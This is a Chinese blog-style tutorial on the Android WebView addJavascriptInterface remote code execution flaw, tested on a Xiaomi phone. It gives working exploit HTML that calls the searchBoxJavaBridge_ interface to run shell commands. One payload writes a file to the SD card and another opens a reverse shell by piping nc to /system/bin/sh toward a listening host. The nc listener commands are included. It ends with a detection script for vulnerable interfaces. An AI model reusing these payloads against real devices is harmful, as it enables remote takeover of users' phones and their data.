Android WebView RCE漏洞
安卓应用存在安全漏洞,浏览网站打开链接即可中招。目前有白帽子提交漏洞表明目前安卓平台上的应用普遍存在一个安全漏洞,用户打开一个链接就可导致远程安装恶意应用甚至完全控制用户手机,目前微信,手机QQ,QVOD以及各大手机浏览器均中招。
关于网上对webview的介绍如下:在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
进入正题:关于网上对网上闹的沸沸扬扬的利用安卓webview漏洞远程执行命令,自己安装大牛们的方法亲自测试一下。。
为了测试首先在本机搭建web环境,你可以用本机微软自带的IIS服务器组件,我用的是超级小旋风AspWebServe小型web服务器, 原因很简单简单小巧方便,最最最重要的是不用设置拿来就能用,懒人首选…..嘿嘿。
测试机型:小米1s(android版本4.0.4) 小米4w(android版本4.4.2)
测试结果:小米1s中招,米4没受影响。正如网上介绍的android4.2以后的系统(api17)已经采用新的接口函数,原来的方法已失效。
以下是在小米1s自带游览器上做的测试实验:
利用漏洞接口searchBoxJavaBridge_ 往手机sd卡里面写入文件,代码如下:
<script> function execute(cmdArgs) { return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } try{ execute(["/system/bin/sh","-c","echo 'Hello world' > /sdcard/yuday.txt"]); }catch(e){ alert(e); } </script>
保存上面的代码 扩展名改为 .html (里面的Hello world可以改成自己想输入的内容,后面的文件名也可以自己取名);
运行结果成功的在sd卡内写入了指定的文件:
我们打开看看里面是否有内容:
利用 sdcard可读可写成功往里面写入了指定的文件。
下面我们测试nc反弹shell,实现远程代码执行;
首先利用NC在本机监听6666 8888端口:
nc -vv -l -p 6666 nc -vv -l -p 8888
注:此操作是在电脑上面步骤,没有nc.exe的自己下载 黑阔工具中的瑞士军刀。
安卓基于linux在bin中带有nc 所有不需要下载。特殊版本不带的只能安装busybox解决了。
反弹shell EXP代码如下:
<script> function execute(cmdArgs) { return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","nc 192.168.1.100 8888|/system/bin/sh|nc 192.168.1.100 6666"]); alert("nice shell"); </script>
同上保存为 .html 放在你的web目录下,在你的手机上打开如下:
成功获得了一个手机端的shell
检测浏览器或应用有没有漏洞接口的POC代码:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>WebView 漏洞检测</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> </head> <body> <p> <b>如果当前 app 存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b> </p> <script type="text/javascript"> function check() { for (var obj in window) { try { if ("getClass" in window[obj]) { try{ window[obj].getClass(); document.write('<span style="color:red">'+obj+'</span>'); document.write('<br />'); }catch(e){ } } } catch(e) { } } } check(); </script> </body> </html>
保存为html,看看你的手机有没有此漏洞。
注:如打开文字乱码,用记事本 文件-另存为- 编码 改为UTF-8